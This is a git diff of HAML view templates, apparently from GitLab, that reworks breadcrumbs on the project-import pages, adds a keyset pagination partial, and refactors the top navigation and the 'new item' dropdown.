--- a/app/views/import/_githubish_status.html.haml
+++ b/app/views/import/_githubish_status.html.haml
@@ -1,10 +1,13 @@
- add_page_specific_style 'page_bundles/import'
-- provider = local_assigns.fetch(:provider)
+- provider = local_assigns.fetch(:provider).to_sym
- extra_data = local_assigns.fetch(:extra_data, {})
- filterable = local_assigns.fetch(:filterable, true)
- paginatable = local_assigns.fetch(:paginatable, false)
- provider_title = Gitlab::ImportSources.title(provider)
+- header_title _("New project"), new_project_path
+- add_to_breadcrumbs s_('ProjectsNew|Import project'), new_projects_path(anchor: 'import_project')
+
#import-projects-mount-element{ data: { provider: provider, provider_title: provider_title,
can_select_namespace: current_user.can_select_namespace?.to_s,
ci_cd_only: has_ci_cd_only_params?.to_s,
diff --git a/app/views/import/bitbucket_server/new.html.haml b/app/views/import/bitbucket_server/new.html.haml
index 8a3fe1a816c..ce6bdd7a2fb 100644
--- a/app/views/import/bitbucket_server/new.html.haml
+++ b/app/views/import/bitbucket_server/new.html.haml
@@ -1,7 +1,6 @@
-- title = _('Bitbucket Server Import')
-- page_title title
-- breadcrumb_title title
-- header_title _("Projects"), root_path
+- page_title _('Bitbucket Server Import')
+- header_title _("New project"), new_project_path
+- add_to_breadcrumbs s_('ProjectsNew|Import project'), new_projects_path(anchor: 'import_project')
%h3.page-title.d-flex
.gl-display-flex.gl-align-items-center.gl-justify-content-center
diff --git a/app/views/import/bitbucket_server/status.html.haml b/app/views/import/bitbucket_server/status.html.haml
index 7c4e6913c53..79b2810e06d 100644
--- a/app/views/import/bitbucket_server/status.html.haml
+++ b/app/views/import/bitbucket_server/status.html.haml
@@ -1,5 +1,4 @@
- page_title _('Bitbucket Server import')
-- header_title _('Projects'), root_path
%h3.page-title.d-flex
.gl-display-flex.gl-align-items-center.gl-justify-content-center
diff --git a/app/views/import/fogbugz/new.html.haml b/app/views/import/fogbugz/new.html.haml
index ab836174024..51156797270 100644
--- a/app/views/import/fogbugz/new.html.haml
+++ b/app/views/import/fogbugz/new.html.haml
@@ -1,5 +1,7 @@
- page_title _("FogBugz Import")
-- header_title _("Projects"), root_path
+- header_title _("New project"), new_project_path
+- add_to_breadcrumbs s_('ProjectsNew|Import project'), new_projects_path(anchor: 'import_project')
+
%h3.page-title.d-flex
.gl-display-flex.gl-align-items-center.gl-justify-content-center
= sprite_icon('bug', css_class: 'gl-mr-2')
diff --git a/app/views/import/fogbugz/new_user_map.html.haml b/app/views/import/fogbugz/new_user_map.html.haml
index 832289c3166..4281d77e833 100644
--- a/app/views/import/fogbugz/new_user_map.html.haml
+++ b/app/views/import/fogbugz/new_user_map.html.haml
@@ -1,5 +1,7 @@
- page_title _('User map'), _('FogBugz import')
-- header_title _("Projects"), root_path
+- header_title _("New project"), new_project_path
+- add_to_breadcrumbs s_('ProjectsNew|Import project'), new_projects_path(anchor: 'import_project')
+
%h3.page-title.d-flex
.gl-display-flex.gl-align-items-center.gl-justify-content-center
= sprite_icon('bug', css_class: 'gl-mr-2')
diff --git a/app/views/import/fogbugz/status.html.haml b/app/views/import/fogbugz/status.html.haml
index e04a412e3bc..dcc0e94441c 100644
--- a/app/views/import/fogbugz/status.html.haml
+++ b/app/views/import/fogbugz/status.html.haml
@@ -1,5 +1,4 @@
- page_title _("FogBugz import")
-- header_title _("Projects"), root_path
%h3.page-title.d-flex
.gl-display-flex.gl-align-items-center.gl-justify-content-center
= sprite_icon('bug', css_class: 'gl-mr-2')
diff --git a/app/views/import/gitea/new.html.haml b/app/views/import/gitea/new.html.haml
index 27786806d17..288ae5f1cec 100644
--- a/app/views/import/gitea/new.html.haml
+++ b/app/views/import/gitea/new.html.haml
@@ -1,5 +1,6 @@
- page_title _("Gitea Import")
-- header_title _("Projects"), root_path
+- header_title _("New project"), new_project_path
+- add_to_breadcrumbs s_('ProjectsNew|Import project'), new_projects_path(anchor: 'import_project')
%h3.page-title
= custom_icon('gitea_logo')
diff --git a/app/views/import/gitea/status.html.haml b/app/views/import/gitea/status.html.haml
index ef0693e73c3..1bdcec0c574 100644
--- a/app/views/import/gitea/status.html.haml
+++ b/app/views/import/gitea/status.html.haml
@@ -1,5 +1,4 @@
- page_title _("Gitea Import")
-- header_title _("Projects"), root_path
%h3.page-title
= custom_icon('gitea_logo')
= _('Import Projects from Gitea')
diff --git a/app/views/import/github/new.html.haml b/app/views/import/github/new.html.haml
index 32143f823d7..3407f9202bf 100644
--- a/app/views/import/github/new.html.haml
+++ b/app/views/import/github/new.html.haml
@@ -1,9 +1,9 @@
- title = _('Authenticate with GitHub')
- page_title title
-- breadcrumb_title title
-- header_title _("Projects"), root_path
+- header_title _("New project"), new_project_path
+- add_to_breadcrumbs s_('ProjectsNew|Import project'), new_projects_path(anchor: 'import_project')
-%h2.page-title
+%h3.page-title
= title
%p
diff --git a/app/views/import/github/status.html.haml b/app/views/import/github/status.html.haml
index b62f98f5ded..820c2f06c8f 100644
--- a/app/views/import/github/status.html.haml
+++ b/app/views/import/github/status.html.haml
@@ -1,7 +1,5 @@
- title = has_ci_cd_only_params? ? _('Connect repositories from GitHub') : _('GitHub import')
- page_title title
-- breadcrumb_title title
-- header_title _("Projects"), root_path
%h3.page-title.mb-0.gl-display-flex
.gl-display-flex.gl-align-items-center.gl-justify-content-center
= sprite_icon('github', css_class: 'gl-mr-2')
diff --git a/app/views/import/gitlab/status.html.haml b/app/views/import/gitlab/status.html.haml
index ef803a36e79..b7b1fae1b73 100644
--- a/app/views/import/gitlab/status.html.haml
+++ b/app/views/import/gitlab/status.html.haml
@@ -1,5 +1,4 @@
- page_title _("GitLab.com import")
-- header_title _("Projects"), root_path
%h3.page-title
= sprite_icon('heart', css_class: 'gl-vertical-align-middle')
= _('Import projects from GitLab.com')
diff --git a/app/views/import/gitlab_projects/new.html.haml b/app/views/import/gitlab_projects/new.html.haml
index 8ba62c91e6a..8daddbb0042 100644
--- a/app/views/import/gitlab_projects/new.html.haml
+++ b/app/views/import/gitlab_projects/new.html.haml
@@ -1,5 +1,6 @@
- page_title _("GitLab Import")
-- header_title _("Projects"), root_path
+- header_title _("New project"), new_project_path
+- add_to_breadcrumbs s_('ProjectsNew|Import project'), new_projects_path(anchor: 'import_project')
%h3.page-title.d-flex
.gl-display-flex.gl-align-items-center.gl-justify-content-center
diff --git a/app/views/import/manifest/new.html.haml b/app/views/import/manifest/new.html.haml
index 852f269f2ed..bfaff3bb300 100644
--- a/app/views/import/manifest/new.html.haml
+++ b/app/views/import/manifest/new.html.haml
@@ -1,5 +1,7 @@
- page_title _("Manifest file import")
-- header_title _("Projects"), root_path
+- header_title _("New project"), new_project_path
+- add_to_breadcrumbs s_('ProjectsNew|Import project'), new_projects_path(anchor: 'import_project')
+
%h3.page-title
= _('Manifest file import')
diff --git a/app/views/import/manifest/status.html.haml b/app/views/import/manifest/status.html.haml
index c3e77554b09..45d03575713 100644
--- a/app/views/import/manifest/status.html.haml
+++ b/app/views/import/manifest/status.html.haml
@@ -1,5 +1,4 @@
- page_title _("Manifest import")
-- header_title _("Projects"), root_path
%h3.page-title
= _('Manifest file import')
diff --git a/app/views/import/phabricator/new.html.haml b/app/views/import/phabricator/new.html.haml
index 960d3df2c42..9596fdb615a 100644
--- a/app/views/import/phabricator/new.html.haml
+++ b/app/views/import/phabricator/new.html.haml
@@ -1,7 +1,6 @@
-- title = _('Phabricator Server Import')
-- page_title title
-- breadcrumb_title title
-- header_title _("Projects"), root_path
+- page_title _('Phabricator Server Import')
+- header_title _("New project"), new_project_path
+- add_to_breadcrumbs s_('ProjectsNew|Import project'), new_projects_path(anchor: 'import_project')
%h3.page-title.d-flex
.gl-display-flex.gl-align-items-center.gl-justify-content-center
diff --git a/app/views/import/shared/_errors.html.haml b/app/views/import/shared/_errors.html.haml
index 32b4a39924b..badd8c1278f 100644
--- a/app/views/import/shared/_errors.html.haml
+++ b/app/views/import/shared/_errors.html.haml
@@ -1,6 +1,8 @@
- if @errors.present?
.gl-alert.gl-alert-danger.gl-mb-5
- = sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- .gl-alert-body
- - @errors.each do |error|
- = error
+ .gl-alert-container
+ = sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-content
+ .gl-alert-body
+ - @errors.each do |error|
+ = error
diff --git a/app/views/kaminari/gitlab/_keyset_paginator.html.haml b/app/views/kaminari/gitlab/_keyset_paginator.html.haml
new file mode 100644
index 00000000000..f64c70dadfc
--- /dev/null
+++ b/app/views/kaminari/gitlab/_keyset_paginator.html.haml
@@ -0,0 +1,30 @@
+- previous_path = url_for(page_params.merge(cursor: paginator.cursor_for_previous_page))
+- next_path = url_for(page_params.merge(cursor: paginator.cursor_for_next_page))
+
+.gl-pagination.gl-mt-3
+ %ul.pagination.justify-content-center
+
+ - if paginator.has_previous_page?
+ - unless without_first_and_last_pages
+ %li.page-item
+ - first_page_path = url_for(page_params.merge(cursor: paginator.cursor_for_first_page))
+ = link_to first_page_path, rel: 'first', class: 'page-link' do
+ = sprite_icon('angle-double-left', size: 8)
+ = s_('Pagination|First')
+
+ %li.page-item.prev
+ = link_to previous_path, rel: 'prev', class: 'page-link' do
+ = sprite_icon('angle-left', size: 8)
+ = s_('Pagination|Prev')
+
+ - if paginator.has_next_page?
+ %li.page-item.next
+ = link_to next_path, rel: 'next', class: 'page-link' do
+ = s_('Pagination|Next')
+ = sprite_icon('angle-right', size: 8)
+ - unless without_first_and_last_pages
+ %li.page-item
+ - last_page_path = url_for(page_params.merge(cursor: paginator.cursor_for_last_page))
+ = link_to last_page_path, rel: 'last', class: 'page-link' do
+ = s_('Pagination|Last')
+ = sprite_icon('angle-double-right', size: 8)
diff --git a/app/views/layouts/_head.html.haml b/app/views/layouts/_head.html.haml
index b28cd47efcc..683d3a6ad1b 100644
--- a/app/views/layouts/_head.html.haml
+++ b/app/views/layouts/_head.html.haml
@@ -36,7 +36,7 @@
= favicon_link_tag favicon, id: 'favicon', data: { original_href: favicon }, type: 'image/png'
- = render 'layouts/startup_css'
+ = render 'layouts/startup_css', { startup_filename: local_assigns.fetch(:startup_filename, nil) }
- if user_application_theme == 'gl-dark'
= stylesheet_link_tag_defer "application_dark"
= yield :page_specific_styles
@@ -54,8 +54,6 @@
= stylesheet_link_tag 'performance_bar' if performance_bar_enabled?
- -# Rendering this above Gon, to use in JS later
- = render 'layouts/header/new_repo_experiment'
= Gon::Base.render_data(nonce: content_security_policy_nonce)
= javascript_include_tag locale_path unless I18n.locale == :en
@@ -73,7 +71,7 @@
= action_cable_meta_tag
%meta{ name: 'viewport', content: 'width=device-width, initial-scale=1, maximum-scale=1' }
- %meta{ name: 'theme-color', content: '#474D57' }
+ %meta{ name: 'theme-color', content: user_theme_primary_color }
-# Apple Safari/iOS home screen icons
= favicon_link_tag 'touch-icon-iphone.png', rel: 'apple-touch-icon'
diff --git a/app/views/layouts/_page.html.haml b/app/views/layouts/_page.html.haml
index c91d27e3ed1..2b63e2c647c 100644
--- a/app/views/layouts/_page.html.haml
+++ b/app/views/layouts/_page.html.haml
@@ -1,7 +1,7 @@
-.layout-page{ class: page_with_sidebar_class }
+.layout-page.hide-when-top-nav-responsive-open{ class: page_with_sidebar_class }
- if defined?(nav) && nav
= render "layouts/nav/sidebar/#{nav}"
- .content-wrapper{ class: "#{@content_wrapper_class}" }
+ .content-wrapper.content-wrapper-margin{ class: "#{@content_wrapper_class}" }
.mobile-overlay
= yield :group_invite_members_banner
.alert-wrapper.gl-force-block-formatting-context
@@ -27,3 +27,5 @@
= render "layouts/flash", extra_flash_class: 'limit-container-width'
= yield :before_content
= yield
+
+= render "layouts/nav/top_nav_responsive", class: 'layout-page content-wrapper-margin'
diff --git a/app/views/layouts/_search.html.haml b/app/views/layouts/_search.html.haml
index 2032d1e95a6..e617b4358e3 100644
--- a/app/views/layouts/_search.html.haml
+++ b/app/views/layouts/_search.html.haml
@@ -1,5 +1,5 @@
.search.search-form{ data: { track_label: "navbar_search", track_event: "activate_form_input", track_value: "" } }
- = form_tag search_path, method: :get, class: 'form-inline' do |_f|
+ = form_tag search_path, method: :get, class: 'form-inline form-control' do |_f|
.search-input-container
.search-input-wrap
.dropdown{ data: { url: search_autocomplete_path } }
diff --git a/app/views/layouts/_startup_css.haml b/app/views/layouts/_startup_css.haml
index 7d3cfe28007..67c871b95f5 100644
--- a/app/views/layouts/_startup_css.haml
+++ b/app/views/layouts/_startup_css.haml
@@ -1,4 +1,5 @@
-- startup_filename = current_path?("sessions#new") ? 'signin' : user_application_theme == 'gl-dark' ? 'dark' : 'general'
+- startup_filename_default = user_application_theme == 'gl-dark' ? 'dark' : 'general'
+- startup_filename = local_assigns.fetch(:startup_filename, nil) || startup_filename_default
%style
= Rails.application.assets_manifest.find_sources("themes/#{user_application_theme_css_filename}.css").first.to_s.html_safe if user_application_theme_css_filename
diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml
index 58408ec822c..47c092e199a 100644
--- a/app/views/layouts/application.html.haml
+++ b/app/views/layouts/application.html.haml
@@ -1,10 +1,12 @@
- page_classes = page_class << @html_class
- page_classes = page_classes.flatten.compact
+- body_classes = [user_application_theme, user_tab_width, @body_class, client_class_list]
+- body_classes << 'sidebar-refactoring' if sidebar_refactor_enabled?
!!! 5
%html{ lang: I18n.locale, class: page_classes }
= render "layouts/head"
- %body{ class: "#{user_application_theme} #{user_tab_width} #{@body_class} #{client_class_list}", data: body_data }
+ %body{ class: body_classes, data: body_data }
= render "layouts/init_auto_complete" if @gfm_form
= render "layouts/init_client_detection_flags"
= render 'peek/bar'
diff --git a/app/views/layouts/devise.html.haml b/app/views/layouts/devise.html.haml
index ef61a04c288..ae7c160c060 100644
--- a/app/views/layouts/devise.html.haml
+++ b/app/views/layouts/devise.html.haml
@@ -1,6 +1,6 @@
!!! 5
%html.devise-layout-html{ class: system_message_class }
- = render "layouts/head"
+ = render "layouts/head", { startup_filename: 'signin' }
%body.ui-indigo.login-page.application.navless{ class: "#{client_class_list}", data: { page: body_data_page, qa_selector: 'login_page' } }
= header_message
= render "layouts/init_client_detection_flags"
diff --git a/app/views/layouts/fullscreen.html.haml b/app/views/layouts/fullscreen.html.haml
index 63bb9f8fff5..2a865aeda40 100644
--- a/app/views/layouts/fullscreen.html.haml
+++ b/app/views/layouts/fullscreen.html.haml
@@ -6,11 +6,12 @@
= header_message
= render partial: "layouts/header/default", locals: { project: @project, group: @group }
.mobile-overlay
- .alert-wrapper
+ .alert-wrapper.hide-when-top-nav-responsive-open
= render 'shared/outdated_browser'
= render "layouts/broadcast"
= yield :flash_message
= render "layouts/flash"
- .content-wrapper{ id: "content-body", class: "d-flex flex-column align-items-stretch mt-0" }
+ .content-wrapper.hide-when-top-nav-responsive-open{ id: "content-body", class: "d-flex flex-column align-items-stretch" }
= yield
+ = render "layouts/nav/top_nav_responsive", class: "gl-flex-grow-1 gl-overflow-y-auto"
= footer_message
diff --git a/app/views/layouts/header/_default.html.haml b/app/views/layouts/header/_default.html.haml
index ae333cffb84..87580e57e75 100644
--- a/app/views/layouts/header/_default.html.haml
+++ b/app/views/layouts/header/_default.html.haml
@@ -1,11 +1,12 @@
- has_impersonation_link = header_link?(:admin_impersonation)
- user_status_data = user_status_properties(current_user)
+- use_top_nav_redesign = Feature.enabled?(:combined_menu, current_user, default_enabled: :yaml)
%header.navbar.navbar-gitlab.navbar-expand-sm.js-navbar{ data: { qa_selector: 'navbar' } }
%a.gl-sr-only.gl-accessibility{ href: "#content-body" } Skip to content
.container-fluid
.header-content
- .title-container
+ .title-container.hide-when-menu-expanded
%h1.title
%span.gl-sr-only GitLab
= link_to root_path, title: _('Dashboard'), id: 'logo', **tracking_attrs('main_navigation', 'click_gitlab_logo_link', 'navigation') do
@@ -19,8 +20,9 @@
%span.gl-badge.gl-bg-green-500.gl-text-white.gl-rounded-pill.gl-font-weight-bold.gl-py-1
= _('Next')
- - if Feature.enabled?(:combined_menu, current_user, default_enabled: :yaml)
- = render "layouts/nav/top_nav"
+ - if use_top_nav_redesign
+ .gl-display-none.gl-sm-display-block
+ = render "layouts/nav/top_nav"
- else
- if current_user
= render "layouts/nav/dashboard"
@@ -30,13 +32,14 @@
.navbar-collapse.collapse
%ul.nav.navbar-nav
- if current_user
- = render 'layouts/header/new_dropdown'
- - if header_link?(:search)
+ = render 'layouts/header/new_dropdown', class: ('gl-display-none gl-sm-display-block' if use_top_nav_redesign)
+ - if top_nav_show_search
+ - search_menu_item = top_nav_search_menu_item_attrs
%li.nav-item.d-none.d-lg-block.m-auto
= render 'layouts/search' unless current_controller?(:search)
- %li.nav-item.d-inline-block.d-lg-none
- = link_to search_context.search_url, title: _('Search'), aria: { label: _('Search') }, data: {toggle: 'tooltip', placement: 'bottom', container: 'body'} do
- = sprite_icon('search')
+ %li.nav-item{ class: use_top_nav_redesign ? 'd-none d-sm-inline-block d-lg-none' : 'd-inline-block d-lg-none' }
+ = link_to search_menu_item.fetch(:href), title: search_menu_item.fetch(:title), aria: { label: search_menu_item.fetch(:title) }, data: {toggle: 'tooltip', placement: 'bottom', container: 'body'} do
+ = sprite_icon(search_menu_item.fetch(:icon))
- if header_link?(:issues)
= nav_link(path: 'dashboard#issues', html_options: { class: "user-counter" }) do
= link_to assigned_issues_dashboard_path, title: _('Issues'), class: 'dashboard-shortcuts-issues', aria: { label: _('Issues') },
@@ -115,10 +118,15 @@
- sign_in_text = allow_signup? ? _('Sign in / Register') : _('Sign in')
= link_to sign_in_text, new_session_path(:user, redirect_to_referer: 'yes'), class: 'gl-button btn btn-default btn-sign-in'
- %button.navbar-toggler.d-block.d-sm-none{ type: 'button' }
+ %button.navbar-toggler.d-block.d-sm-none{ type: 'button', class: ('gl-border-none!' if use_top_nav_redesign) }
%span.sr-only= _('Toggle navigation')
- = sprite_icon('ellipsis_h', size: 12, css_class: 'more-icon js-navbar-toggle-right')
- = sprite_icon('close', size: 12, css_class: 'close-icon js-navbar-toggle-left')
+ - if use_top_nav_redesign
+ %span.more-icon.gl-px-3.gl-font-sm.gl-font-weight-bold
+ %span.gl-pr-2= _('Menu')
+ = sprite_icon('hamburger', size: 16)
+ - else
+ = sprite_icon('ellipsis_h', size: 12, css_class: 'more-icon')
+ = sprite_icon('close', size: 12, css_class: 'close-icon')
- if display_whats_new?
#whats-new-app{ data: { version_digest: whats_new_version_digest } }
diff --git a/app/views/layouts/header/_group_invite_members_new_dropdown_item.html.haml b/app/views/layouts/header/_group_invite_members_new_dropdown_item.html.haml
deleted file mode 100644
index cb74c77dff8..00000000000
--- a/app/views/layouts/header/_group_invite_members_new_dropdown_item.html.haml
+++ /dev/null
@@ -1,3 +0,0 @@
-- return unless Gitlab::Experimentation.active?(:invite_members_new_dropdown) && can?(current_user, :admin_group_member, @group)
-
-%li= dropdown_invite_members_link(@group)
diff --git a/app/views/layouts/header/_help_dropdown.html.haml b/app/views/layouts/header/_help_dropdown.html.haml
index c3769dd2993..01e59b8e2ef 100644
--- a/app/views/layouts/header/_help_dropdown.html.haml
+++ b/app/views/layouts/header/_help_dropdown.html.haml
@@ -10,7 +10,7 @@
%li
%button.js-shortcuts-modal-trigger{ type: "button" }
= _("Keyboard shortcuts")
- %span.text-secondary.float-right{ "aria-hidden": true }= '?'.html_safe
+ %span.text-secondary.float-right{ "aria-hidden": "true" }= '?'.html_safe
%li.divider
%li
= link_to _("Submit feedback"), "https://about.gitlab.com/submit-feedback"
diff --git a/app/views/layouts/header/_new_dropdown.html.haml b/app/views/layouts/header/_new_dropdown.html.haml
index ca90d2e02fa..c5f43fb2c16 100644
--- a/app/views/layouts/header/_new_dropdown.html.haml
+++ b/app/views/layouts/header/_new_dropdown.html.haml
@@ -1,47 +1,27 @@
-- new_repo_experiment_text = content_for(:new_repo_experiment)
-%li.header-new.dropdown{ data: { track_label: "new_dropdown", track_event: "click_dropdown", track_experiment: "new_repo" } }
- = link_to new_project_path, class: "header-new-dropdown-toggle has-tooltip qa-new-menu-toggle", id: "js-onboarding-new-project-link", title: _("New..."), ref: 'tooltip', aria: { label: _("New...") }, data: { toggle: 'dropdown', placement: 'bottom', container: 'body', display: 'static' } do
+- view_model = new_dropdown_view_model(project: @project, group: @group)
+- menu_sections = view_model.fetch(:menu_sections)
+- title = view_model.fetch(:title)
+- show_headers = menu_sections.length > 1
+- top_class = local_assigns.fetch(:class, nil)
+
+- return if menu_sections.empty?
+
+%li.header-new.dropdown{ class: top_class, data: { track_label: "new_dropdown", track_event: "click_dropdown", track_experiment: "new_repo" } }
+ = link_to new_project_path, class: "header-new-dropdown-toggle has-tooltip", id: "js-onboarding-new-project-link", title: title, ref: 'tooltip', aria: { label: title }, data: { toggle: 'dropdown', placement: 'bottom', container: 'body', display: 'static', qa_selector: 'new_menu_toggle' } do
= sprite_icon('plus-square')
= sprite_icon('chevron-down', css_class: 'caret-down')
.dropdown-menu.dropdown-menu-right.dropdown-extended-height
%ul
- - if @group&.persisted?
- - create_group_project = can?(current_user, :create_projects, @group)
- - create_group_subgroup = can?(current_user, :create_subgroup, @group)
-
- - if create_group_project || create_group_subgroup
- %li.dropdown-bold-header
- = _('This group')
- - if create_group_project
- %li= link_to new_repo_experiment_text, new_project_path(namespace_id: @group.id), data: { track_experiment: 'new_repo', track_event: 'click_link_new_project_group', track_label: 'plus_menu_dropdown' }
- - if create_group_subgroup
- %li= link_to _('New subgroup'), new_group_path(parent_id: @group.id), data: { track_event: 'click_link_new_subgroup', track_label: 'plus_menu_dropdown' }
- = render_if_exists 'layouts/header/create_epic_new_dropdown_item'
- = render 'layouts/header/group_invite_members_new_dropdown_item'
+ - menu_sections.each_with_index do |section, index|
+ - if index > 0
%li.divider
- %li.dropdown-bold-header GitLab
-
- - if @project&.persisted?
- - create_project_issue = show_new_issue_link?(@project)
- - merge_project = merge_request_source_project_for_project(@project)
- - create_project_snippet = can?(current_user, :create_snippet, @project)
-
- - if create_project_issue || merge_project || create_project_snippet
+ - if show_headers
%li.dropdown-bold-header
- = _('This project')
- - if create_project_issue
- %li= link_to _('New issue'), new_project_issue_path(@project), data: { track_event: 'click_link_new_issue', track_label: 'plus_menu_dropdown' }
- - if merge_project
- %li= link_to _('New merge request'), project_new_merge_request_path(merge_project), data: { track_event: 'click_link_new_mr', track_label: 'plus_menu_dropdown' }
-
- - if create_project_snippet
- %li= link_to _('New snippet'), new_project_snippet_path(@project), data: { track_event: 'click_link_new_snippet_project', track_label: 'plus_menu_dropdown' }
- = render 'layouts/header/project_invite_members_new_dropdown_item'
- %li.divider
- %li.dropdown-bold-header GitLab
- - if current_user.can_create_project?
- %li= link_to new_repo_experiment_text, new_project_path, class: 'qa-global-new-project-link', data: { track_experiment: 'new_repo', track_event: 'click_link_new_project', track_label: 'plus_menu_dropdown' }
- - if current_user.can_create_group?
- %li= link_to _('New group'), new_group_path, data: { track_event: 'click_link_new_group', track_label: 'plus_menu_dropdown' }
- - if current_user.can?(:create_snippet)
- %li= link_to _('New snippet'), new_snippet_path, data: { track_event: 'click_link_new_snippet_parent', track_label: 'plus_menu_dropdown' }, class: 'qa-global-new-snippet-link'
+ = section.fetch(:title)
+ - section.fetch(:menu_items).each do |menu_item|
+ %li<
+ = link_to menu_item.fetch(:href), class: menu_item.fetch(:css_class), data: menu_item.fetch(:data) do
+ = menu_item.fetch(:title)
+ - if menu_item.fetch(:emoji)
+ -# We need to insert a space between the title and emoji
+ = " #{emoji_icon(menu_item.fetch(:emoji), 'aria-hidden': true, class: "gl-font-base gl-vertical-align-baseline")}".html_safe
diff --git a/app/views/layouts/header/_new_repo_experiment.html.haml b/app/views/layouts/header/_new_repo_experiment.html.haml
deleted file mode 100644
index aaa13d593cd..00000000000
--- a/app/views/layouts/header/_new_repo_experiment.html.haml
+++ /dev/null
@@ -1,6 +0,0 @@
-- content_for :new_repo_experiment do
- - experiment(:new_repo, user: current_user) do |e|
- - e.use do
- = _('New project')
- - e.try do
- = _('New project/repository')
diff --git a/app/views/layouts/header/_project_invite_members_new_dropdown_item.html.haml b/app/views/layouts/header/_project_invite_members_new_dropdown_item.html.haml
deleted file mode 100644
index 2cb67e857e3..00000000000
--- a/app/views/layouts/header/_project_invite_members_new_dropdown_item.html.haml
+++ /dev/null
@@ -1,3 +0,0 @@
-- return unless Gitlab::Experimentation.active?(:invite_members_new_dropdown) && can_import_members?
-
-%li= dropdown_invite_members_link(@project)
diff --git a/app/views/layouts/header/_registration_enabled_callout.html.haml b/app/views/layouts/header/_registration_enabled_callout.html.haml
index 1b1804edcc7..9266702e44e 100644
--- a/app/views/layouts/header/_registration_enabled_callout.html.haml
+++ b/app/views/layouts/header/_registration_enabled_callout.html.haml
@@ -1,15 +1,14 @@
- return unless show_registration_enabled_user_callout?
-%div{ class: [container_class, @content_class, 'gl-pt-5!'] }
- .gl-alert.gl-alert-warning.js-registration-enabled-callout{ role: 'alert', data: { feature_id: UserCalloutsHelper::REGISTRATION_ENABLED_CALLOUT, dismiss_endpoint: user_callouts_path } }
- = sprite_icon('warning', size: 16, css_class: 'gl-alert-icon')
- %button.gl-alert-dismiss.js-close{ type: 'button', aria: { label: _('Close') }, data: { testid: 'close-registration-enabled-callout' } }
- = sprite_icon('close', size: 16)
- .gl-alert-title
- = _('Open registration is enabled on your instance.')
- .gl-alert-body
- = html_escape(_('%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance.')) % { anchorOpen: "<a href=\"#{help_page_path('user/admin_area/settings/sign_up_restrictions')}\">".html_safe, anchorClose: '</a>'.html_safe }
- .gl-alert-actions
- = link_to general_admin_application_settings_path(anchor: 'js-signup-settings'), class: 'btn gl-alert-action btn-info btn-md gl-button' do
- %span.gl-button-text
- = _('View setting')
+= render 'shared/global_alert',
+ title: _('Open registration is enabled on your instance.'),
+ variant: :warning,
+ alert_class: 'js-registration-enabled-callout',
+ alert_data: { feature_id: UserCalloutsHelper::REGISTRATION_ENABLED_CALLOUT, dismiss_endpoint: user_callouts_path },
+ close_button_data: { testid: 'close-registration-enabled-callout' } do
+ .gl-alert-body
+ = html_escape(_('%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance.')) % { anchorOpen: "<a href=\"#{help_page_path('user/admin_area/settings/sign_up_restrictions')}\">".html_safe, anchorClose: '</a>'.html_safe }
+ .gl-alert-actions
+ = link_to general_admin_application_settings_path(anchor: 'js-signup-settings'), class: 'btn gl-alert-action btn-info btn-md gl-button' do
+ %span.gl-button-text
+ = _('View setting')
diff --git a/app/views/layouts/nav/_dashboard.html.haml b/app/views/layouts/nav/_dashboard.html.haml
index 718b2002422..117382d87b5 100644
--- a/app/views/layouts/nav/_dashboard.html.haml
+++ b/app/views/layouts/nav/_dashboard.html.haml
@@ -4,7 +4,7 @@
-# [1]: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56587
%ul.list-unstyled.navbar-sub-nav
- if dashboard_nav_link?(:projects)
- = nav_link(path: ['root#index', 'projects#trending', 'projects#starred', 'dashboard/projects#index'], html_options: { id: 'nav-projects-dropdown', class: "home dropdown header-projects qa-projects-dropdown", data: { track_label: "projects_dropdown", track_event: "click_dropdown", track_experiment: "new_repo" } }) do
+ = nav_link(path: ['root#index', 'projects#trending', 'projects#starred', 'dashboard/projects#index'], html_options: { id: 'nav-projects-dropdown', class: "home dropdown header-projects", data: { track_label: "projects_dropdown", track_event: "click_dropdown", track_experiment: "new_repo" } }) do
%button{ type: 'button', data: { toggle: "dropdown" } }
= _('Projects')
= sprite_icon('chevron-down', css_class: 'caret-down')
@@ -12,7 +12,7 @@
= render "layouts/nav/projects_dropdown/show"
- if dashboard_nav_link?(:groups)
- = nav_link(controller: ['dashboard/groups', 'explore/groups'], html_options: { id: 'nav-groups-dropdown', class: "d-none d-md-block home dropdown header-groups qa-groups-dropdown", data: { track_label: "groups_dropdown", track_event: "click_dropdown" } }) do
+ = nav_link(controller: ['dashboard/groups', 'explore/groups'], html_options: { id: 'nav-groups-dropdown', class: "d-none d-md-block home dropdown header-groups", data: { track_label: "groups_dropdown", track_event: "click_dropdown" } }) do
%button{ type: 'button', data: { toggle: "dropdown" } }
= _('Groups')
= sprite_icon('chevron-down', css_class: 'caret-down')
@@ -21,28 +21,28 @@
- if any_dashboard_nav_link?([:groups, :milestones, :activity, :snippets])
= nav_link(html_options: { id: 'nav-more-dropdown', class: "header-more dropdown", data: { track_label: "more_dropdown", track_event: "click_more_link" } }) do
- %a{ href: "#", data: { toggle: "dropdown", qa_selector: 'more_dropdown' } }
+ %a{ href: "#", data: { toggle: "dropdown" } }
= _('More')
= sprite_icon('chevron-down', css_class: 'caret-down')
.dropdown-menu
%ul
- if dashboard_nav_link?(:groups)
%li.d-md-none
- = link_to dashboard_groups_path, class: 'dashboard-shortcuts-groups', data: { qa_selector: 'groups_link' } do
+ = link_to dashboard_groups_path, class: 'dashboard-shortcuts-groups' do
= _('Groups')
- if dashboard_nav_link?(:activity)
= nav_link(path: 'dashboard#activity') do
- = link_to activity_dashboard_path, class: 'dashboard-shortcuts-activity', data: { qa_selector: 'activity_link' } do
+ = link_to activity_dashboard_path, class: 'dashboard-shortcuts-activity' do
= _('Activity')
- if dashboard_nav_link?(:milestones)
= nav_link(controller: 'dashboard/milestones') do
- = link_to dashboard_milestones_path, class: 'dashboard-shortcuts-milestones', data: { qa_selector: 'milestones_link' } do
+ = link_to dashboard_milestones_path, class: 'dashboard-shortcuts-milestones' do
= _('Milestones')
- if dashboard_nav_link?(:snippets)
= nav_link(controller: 'dashboard/snippets') do
- = link_to dashboard_snippets_path, class: 'dashboard-shortcuts-snippets', data: { qa_selector: 'snippets_link' } do
+ = link_to dashboard_snippets_path, class: 'dashboard-shortcuts-snippets' do
= _('Snippets')
%li.dropdown
